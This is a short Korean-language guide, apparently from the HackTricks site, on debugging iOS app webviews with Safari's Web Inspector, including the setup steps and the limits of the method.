iOS webviews ๋‚ด์˜ ์›น ์ฝ˜ํ…์ธ ๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ๋””๋ฒ„๊น…ํ•˜๋ ค๋ฉด console.log()์— ์ „์†ก๋œ ๋ฉ”์‹œ์ง€๊ฐ€ Xcode ๋กœ๊ทธ์— ํ‘œ์‹œ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— Safari์˜ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋ฅผ ํฌํ•จํ•œ ํŠน์ • ์„ค์ •์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์ฃผ์š” ๋‹จ๊ณ„์™€ ์š”๊ตฌ ์‚ฌํ•ญ์„ ๊ฐ•์กฐํ•œ ๊ฐ„๋‹จํ•œ ๊ฐ€์ด๋“œ์ž…๋‹ˆ๋‹ค:

  • iOS ๊ธฐ๊ธฐ ์ค€๋น„: iOS ๊ธฐ๊ธฐ์—์„œ Safari ์›น ๊ฒ€์‚ฌ๊ธฐ๋ฅผ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์„ค์ • > Safari > ๊ณ ๊ธ‰์œผ๋กœ ์ด๋™ํ•˜์—ฌ _์›น ๊ฒ€์‚ฌ๊ธฐ_๋ฅผ ํ™œ์„ฑํ™”ํ•จ์œผ๋กœ์จ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

  • macOS ๊ธฐ๊ธฐ ์ค€๋น„: macOS ๊ฐœ๋ฐœ ๋จธ์‹ ์—์„œ Safari ๋‚ด์˜ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋ฅผ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Safari๋ฅผ ์‹คํ–‰ํ•˜๊ณ  Safari > ํ™˜๊ฒฝ์„ค์ • > ๊ณ ๊ธ‰์œผ๋กœ ์ ‘๊ทผํ•œ ํ›„ ๊ฐœ๋ฐœ ๋ฉ”๋‰ด ํ‘œ์‹œ ์˜ต์…˜์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.

  • ์—ฐ๊ฒฐ ๋ฐ ๋””๋ฒ„๊น…: iOS ๊ธฐ๊ธฐ๋ฅผ macOS ์ปดํ“จํ„ฐ์— ์—ฐ๊ฒฐํ•˜๊ณ  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•œ ํ›„, macOS ๊ธฐ๊ธฐ์—์„œ Safari๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋””๋ฒ„๊น…ํ•  ์›น๋ทฐ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค. Safari์˜ ๋ฉ”๋‰ด ๋ฐ”์—์„œ _๊ฐœ๋ฐœ_๋กœ ์ด๋™ํ•˜๊ณ  iOS ๊ธฐ๊ธฐ ์ด๋ฆ„ ์œ„์— ๋งˆ์šฐ์Šค๋ฅผ ์˜ฌ๋ ค ์›น๋ทฐ ์ธ์Šคํ„ด์Šค ๋ชฉ๋ก์„ ํ™•์ธํ•œ ํ›„, ๊ฒ€์‚ฌํ•  ์ธ์Šคํ„ด์Šค๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์„ ์œ„ํ•ด ์ƒˆ๋กœ์šด Safari ์›น ๊ฒ€์‚ฌ๊ธฐ ์ฐฝ์ด ์—ด๋ฆฝ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ œํ•œ ์‚ฌํ•ญ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค:

  • ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๋””๋ฒ„๊น…ํ•˜๋ ค๋ฉด macOS ๊ธฐ๊ธฐ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Safari์— ์˜์กดํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  • Xcode๋ฅผ ํ†ตํ•ด ๊ธฐ๊ธฐ์— ๋กœ๋“œ๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์›น๋ทฐ๋งŒ ๋””๋ฒ„๊น…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. App Store ๋˜๋Š” Apple Configurator๋ฅผ ํ†ตํ•ด ์„ค์น˜๋œ ์•ฑ์˜ ์›น๋ทฐ๋Š” ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๋””๋ฒ„๊น…ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ